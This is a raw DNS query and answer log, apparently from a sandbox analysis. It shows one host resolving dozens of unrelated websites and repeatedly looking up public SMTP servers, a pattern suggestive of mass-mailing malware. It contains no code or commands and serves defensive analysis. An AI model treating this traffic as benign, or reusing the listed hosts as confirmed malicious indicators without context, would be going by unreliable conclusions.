Oct 25, 2024 11:17:32.999099970 CEST	192.168.2.5	1.1.1.1	0xdd05	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.020885944 CEST	192.168.2.5	1.1.1.1	0xa678	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.090243101 CEST	192.168.2.5	1.1.1.1	0xdf0e	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.267524958 CEST	192.168.2.5	1.1.1.1	0x4d37	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.308567047 CEST	192.168.2.5	1.1.1.1	0x1f2f	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.323611021 CEST	192.168.2.5	1.1.1.1	0xbac3	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.602890015 CEST	192.168.2.5	1.1.1.1	0x42dc	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.239855051 CEST	192.168.2.5	1.1.1.1	0xbc7e	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.350181103 CEST	192.168.2.5	1.1.1.1	0x9af4	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.405129910 CEST	192.168.2.5	1.1.1.1	0x241d	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.505599976 CEST	192.168.2.5	1.1.1.1	0x9af2	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.567609072 CEST	192.168.2.5	1.1.1.1	0xeb5c	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.632803917 CEST	192.168.2.5	1.1.1.1	0x3f1c	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.723824024 CEST	192.168.2.5	1.1.1.1	0x558c	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.841248989 CEST	192.168.2.5	1.1.1.1	0xe433	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.937365055 CEST	192.168.2.5	1.1.1.1	0xb5fc	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.134699106 CEST	192.168.2.5	1.1.1.1	0xe597	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.180282116 CEST	192.168.2.5	1.1.1.1	0x20d5	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.315485001 CEST	192.168.2.5	1.1.1.1	0x4bbc	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.458847046 CEST	192.168.2.5	1.1.1.1	0x5679	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.572897911 CEST	192.168.2.5	1.1.1.1	0xbb13	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.588002920 CEST	192.168.2.5	1.1.1.1	0xd2fb	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.941660881 CEST	192.168.2.5	1.1.1.1	0x82fd	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:36.090226889 CEST	192.168.2.5	1.1.1.1	0x39e8	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:36.125936031 CEST	192.168.2.5	1.1.1.1	0xedd8	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:36.187140942 CEST	192.168.2.5	1.1.1.1	0x17f1	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:36.375591993 CEST	192.168.2.5	1.1.1.1	0x27d0	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:36.882122993 CEST	192.168.2.5	1.1.1.1	0xd9fb	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:36.886352062 CEST	192.168.2.5	1.1.1.1	0xcfd	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:36.886971951 CEST	192.168.2.5	1.1.1.1	0xef0d	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.046919107 CEST	192.168.2.5	1.1.1.1	0x8d96	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.055814981 CEST	192.168.2.5	1.1.1.1	0x719b	Standard query (0)	www.yocinc.org	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.066870928 CEST	192.168.2.5	1.1.1.1	0xfea6	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.141937971 CEST	192.168.2.5	1.1.1.1	0xa3c3	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.928792953 CEST	192.168.2.5	1.1.1.1	0xf5c4	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.969280005 CEST	192.168.2.5	1.1.1.1	0x721b	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.054116011 CEST	192.168.2.5	1.1.1.1	0x8ced	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.139869928 CEST	192.168.2.5	1.1.1.1	0xb75c	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.157877922 CEST	192.168.2.5	1.1.1.1	0xa3c3	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.162446022 CEST	192.168.2.5	1.1.1.1	0x8926	Standard query (0)	www.vitaindu.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.275371075 CEST	192.168.2.5	1.1.1.1	0xd59d	Standard query (0)	www.kernsafe.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.483880043 CEST	192.168.2.5	1.1.1.1	0xc7d9	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.581981897 CEST	192.168.2.5	1.1.1.1	0x157f	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.624984026 CEST	192.168.2.5	1.1.1.1	0x580e	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.197406054 CEST	192.168.2.5	1.1.1.1	0xa3c3	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.559278011 CEST	192.168.2.5	1.1.1.1	0x6c27	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.569900036 CEST	192.168.2.5	1.1.1.1	0x57b6	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.696209908 CEST	192.168.2.5	1.1.1.1	0xd01c	Standard query (0)	www.medius.si	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.752580881 CEST	192.168.2.5	1.1.1.1	0x63eb	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.756115913 CEST	192.168.2.5	1.1.1.1	0x3218	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.857383966 CEST	192.168.2.5	1.1.1.1	0x3b1d	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:40.135833025 CEST	192.168.2.5	1.1.1.1	0xa894	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:40.322741985 CEST	192.168.2.5	1.1.1.1	0x3db5	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:40.363924026 CEST	192.168.2.5	1.1.1.1	0x4501	Standard query (0)	www.2print.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:40.748383045 CEST	192.168.2.5	1.1.1.1	0x70b9	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:40.750531912 CEST	192.168.2.5	1.1.1.1	0xbeeb	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:40.865277052 CEST	192.168.2.5	1.1.1.1	0xa011	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:41.032303095 CEST	192.168.2.5	1.1.1.1	0x51a2	Standard query (0)	www.ka-mo-me.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.188493013 CEST	192.168.2.5	1.1.1.1	0xfde5	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.197859049 CEST	192.168.2.5	1.1.1.1	0x47f1	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.204211950 CEST	192.168.2.5	1.1.1.1	0xe0af	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.208921909 CEST	192.168.2.5	1.1.1.1	0xb095	Standard query (0)	www.x0c.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.211762905 CEST	192.168.2.5	1.1.1.1	0x1731	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.213756084 CEST	192.168.2.5	1.1.1.1	0xbb44	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.221079111 CEST	192.168.2.5	1.1.1.1	0x4b86	Standard query (0)	www.tyrns.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.223865032 CEST	192.168.2.5	1.1.1.1	0x57be	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.532404900 CEST	192.168.2.5	1.1.1.1	0xdec1	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.771858931 CEST	192.168.2.5	1.1.1.1	0xb77b	Standard query (0)	www.com-sit.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.903795958 CEST	192.168.2.5	1.1.1.1	0x85d	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:43.016906023 CEST	192.168.2.5	1.1.1.1	0x4b36	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:43.096179008 CEST	192.168.2.5	1.1.1.1	0x70f2	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:43.319392920 CEST	192.168.2.5	1.1.1.1	0x5735	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:43.807106018 CEST	192.168.2.5	1.1.1.1	0x1bc	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:44.040008068 CEST	192.168.2.5	1.1.1.1	0x29	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:44.046629906 CEST	192.168.2.5	1.1.1.1	0xf609	Standard query (0)	www.spanesi.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:44.895602942 CEST	192.168.2.5	1.1.1.1	0xa07b	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:45.030639887 CEST	192.168.2.5	1.1.1.1	0xf19f	Standard query (0)	www.tc17.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:45.474188089 CEST	192.168.2.5	1.1.1.1	0x87f1	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:46.448801994 CEST	192.168.2.5	1.1.1.1	0xdcd1	Standard query (0)	mail.airmail.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:46.497740030 CEST	192.168.2.5	1.1.1.1	0x8460	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:52.908915997 CEST	192.168.2.5	1.1.1.1	0xcc2a	Standard query (0)	www.ottospm.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:54.174009085 CEST	192.168.2.5	1.1.1.1	0x212d	Standard query (0)	www.fnsds.org	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:56.158179998 CEST	192.168.2.5	1.1.1.1	0xe459	Standard query (0)	www.railbook.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:56.368340969 CEST	192.168.2.5	1.1.1.1	0xce8d	Standard query (0)	www.pohlfood.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:58.298774004 CEST	192.168.2.5	1.1.1.1	0x5239	Standard query (0)	www.11tochi.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:00.096683025 CEST	192.168.2.5	1.1.1.1	0x7c44	Standard query (0)	www.pb-games.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:02.392689943 CEST	192.168.2.5	1.1.1.1	0xf36	Standard query (0)	www.sclover3.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:03.412885904 CEST	192.168.2.5	1.1.1.1	0xf36	Standard query (0)	www.sclover3.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:07.192015886 CEST	192.168.2.5	1.1.1.1	0x3742	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:08.189532042 CEST	192.168.2.5	1.1.1.1	0xb0c4	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:09.092989922 CEST	192.168.2.5	1.1.1.1	0xdbc1	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:11.397238016 CEST	192.168.2.5	1.1.1.1	0xcd68	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:14.561348915 CEST	192.168.2.5	1.1.1.1	0x892f	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:16.025243998 CEST	192.168.2.5	1.1.1.1	0xe481	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:16.227828979 CEST	192.168.2.5	1.1.1.1	0x56b5	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:16.480048895 CEST	192.168.2.5	1.1.1.1	0x9ed8	Standard query (0)	smtp.compuserve.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:18.446568966 CEST	192.168.2.5	1.1.1.1	0x4408	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:19.903377056 CEST	192.168.2.5	1.1.1.1	0xccf7	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:20.407476902 CEST	192.168.2.5	1.1.1.1	0xa273	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:21.033405066 CEST	192.168.2.5	1.1.1.1	0xba4f	Standard query (0)	mail.protonmail.ch	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:22.677354097 CEST	192.168.2.5	1.1.1.1	0xdf73	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:26.364187002 CEST	192.168.2.5	1.1.1.1	0x8500	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:29.010545969 CEST	192.168.2.5	1.1.1.1	0x4848	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:31.125092030 CEST	192.168.2.5	1.1.1.1	0xf677	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:35.844587088 CEST	192.168.2.5	1.1.1.1	0xd429	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:37.426405907 CEST	192.168.2.5	1.1.1.1	0xae97	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:39.554402113 CEST	192.168.2.5	1.1.1.1	0x852a	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:43.811738014 CEST	192.168.2.5	1.1.1.1	0xa762	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:44.437830925 CEST	192.168.2.5	1.1.1.1	0xfb14	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:44.947992086 CEST	192.168.2.5	1.1.1.1	0xec00	Standard query (0)	smtp.mail.yahoo.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:46.135159969 CEST	192.168.2.5	1.1.1.1	0x3180	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:46.319578886 CEST	192.168.2.5	1.1.1.1	0x49c9	Standard query (0)	smtp.sbcglobal.yahoo.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:48.640573025 CEST	192.168.2.5	1.1.1.1	0x2d9c	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:48.900981903 CEST	192.168.2.5	1.1.1.1	0x47f7	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:50.888226032 CEST	192.168.2.5	1.1.1.1	0x1666	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:53.671880007 CEST	192.168.2.5	1.1.1.1	0xced5	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:53.750222921 CEST	192.168.2.5	1.1.1.1	0x990e	Standard query (0)	smtp.live.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:56.496937990 CEST	192.168.2.5	1.1.1.1	0xead5	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:58.758949995 CEST	192.168.2.5	1.1.1.1	0x497a	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:58.986321926 CEST	192.168.2.5	1.1.1.1	0x754f	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:19:03.252060890 CEST	192.168.2.5	1.1.1.1	0x22b5	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:19:04.859761953 CEST	192.168.2.5	1.1.1.1	0x43b8	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:19:07.133297920 CEST	192.168.2.5	1.1.1.1	0x4402	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:19:11.152776003 CEST	192.168.2.5	1.1.1.1	0x4d20	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:19:12.222628117 CEST	192.168.2.5	1.1.1.1	0xcf2e	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 25, 2024 11:17:31.167999983 CEST	1.1.1.1	192.168.2.5	0x9a11	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:31.167999983 CEST	1.1.1.1	192.168.2.5	0x9a11	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.169526100 CEST	1.1.1.1	192.168.2.5	0xacb8	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:31.169526100 CEST	1.1.1.1	192.168.2.5	0xacb8	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.185493946 CEST	1.1.1.1	192.168.2.5	0x792e	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.185493946 CEST	1.1.1.1	192.168.2.5	0x792e	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.211165905 CEST	1.1.1.1	192.168.2.5	0x741b	No error (0)	www.ftchat.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.211165905 CEST	1.1.1.1	192.168.2.5	0x741b	No error (0)	www.ftchat.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.217246056 CEST	1.1.1.1	192.168.2.5	0xaf1f	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.343492985 CEST	1.1.1.1	192.168.2.5	0x542c	No error (0)	www.wkhk.net		34.218.204.173	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.424869061 CEST	1.1.1.1	192.168.2.5	0xcd03	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:31.424869061 CEST	1.1.1.1	192.168.2.5	0xcd03	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.473349094 CEST	1.1.1.1	192.168.2.5	0x6559	No error (0)	www.pdqhomes.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:31.473349094 CEST	1.1.1.1	192.168.2.5	0x6559	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:31.473349094 CEST	1.1.1.1	192.168.2.5	0x6559	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.473349094 CEST	1.1.1.1	192.168.2.5	0x6559	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.922584057 CEST	1.1.1.1	192.168.2.5	0x5d71	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:31.922584057 CEST	1.1.1.1	192.168.2.5	0x5d71	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.159694910 CEST	1.1.1.1	192.168.2.5	0xf04e	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.263402939 CEST	1.1.1.1	192.168.2.5	0xa144	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.263402939 CEST	1.1.1.1	192.168.2.5	0xa144	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.263402939 CEST	1.1.1.1	192.168.2.5	0xa144	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.448889971 CEST	1.1.1.1	192.168.2.5	0x2454	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:32.448889971 CEST	1.1.1.1	192.168.2.5	0x2454	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.448889971 CEST	1.1.1.1	192.168.2.5	0x2454	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.505258083 CEST	1.1.1.1	192.168.2.5	0xf0ca	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:32.505258083 CEST	1.1.1.1	192.168.2.5	0xf0ca	No error (0)	ghs.googlehosted.com		142.250.186.147	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.514436960 CEST	1.1.1.1	192.168.2.5	0x2d2a	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:32.514436960 CEST	1.1.1.1	192.168.2.5	0x2d2a	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.514436960 CEST	1.1.1.1	192.168.2.5	0x2d2a	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.602382898 CEST	1.1.1.1	192.168.2.5	0x6d9e	No error (0)	www.alteor.cl	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:32.602382898 CEST	1.1.1.1	192.168.2.5	0x6d9e	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:32.602382898 CEST	1.1.1.1	192.168.2.5	0x6d9e	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.055787086 CEST	1.1.1.1	192.168.2.5	0xa678	No error (0)	www.rs-ag.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.055787086 CEST	1.1.1.1	192.168.2.5	0xa678	No error (0)	www.rs-ag.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.141130924 CEST	1.1.1.1	192.168.2.5	0xdf0e	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:33.141130924 CEST	1.1.1.1	192.168.2.5	0xdf0e	No error (0)	nunomira.com		139.59.171.124	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.188694954 CEST	1.1.1.1	192.168.2.5	0xd30c	No error (0)	www.petsfan.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:33.188694954 CEST	1.1.1.1	192.168.2.5	0xd30c	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:33.188694954 CEST	1.1.1.1	192.168.2.5	0xd30c	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.188694954 CEST	1.1.1.1	192.168.2.5	0xd30c	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.222460985 CEST	1.1.1.1	192.168.2.5	0xdd05	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.222460985 CEST	1.1.1.1	192.168.2.5	0xdd05	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.222460985 CEST	1.1.1.1	192.168.2.5	0xdd05	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.277143955 CEST	1.1.1.1	192.168.2.5	0x4d37	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.616193056 CEST	1.1.1.1	192.168.2.5	0x42dc	No error (0)	www.otena.com		13.248.252.114	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.616193056 CEST	1.1.1.1	192.168.2.5	0x42dc	No error (0)	www.otena.com		99.83.138.213	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.619034052 CEST	1.1.1.1	192.168.2.5	0xbac3	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:33.628241062 CEST	1.1.1.1	192.168.2.5	0x1f2f	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:33.628241062 CEST	1.1.1.1	192.168.2.5	0x1f2f	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.269575119 CEST	1.1.1.1	192.168.2.5	0xbc7e	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
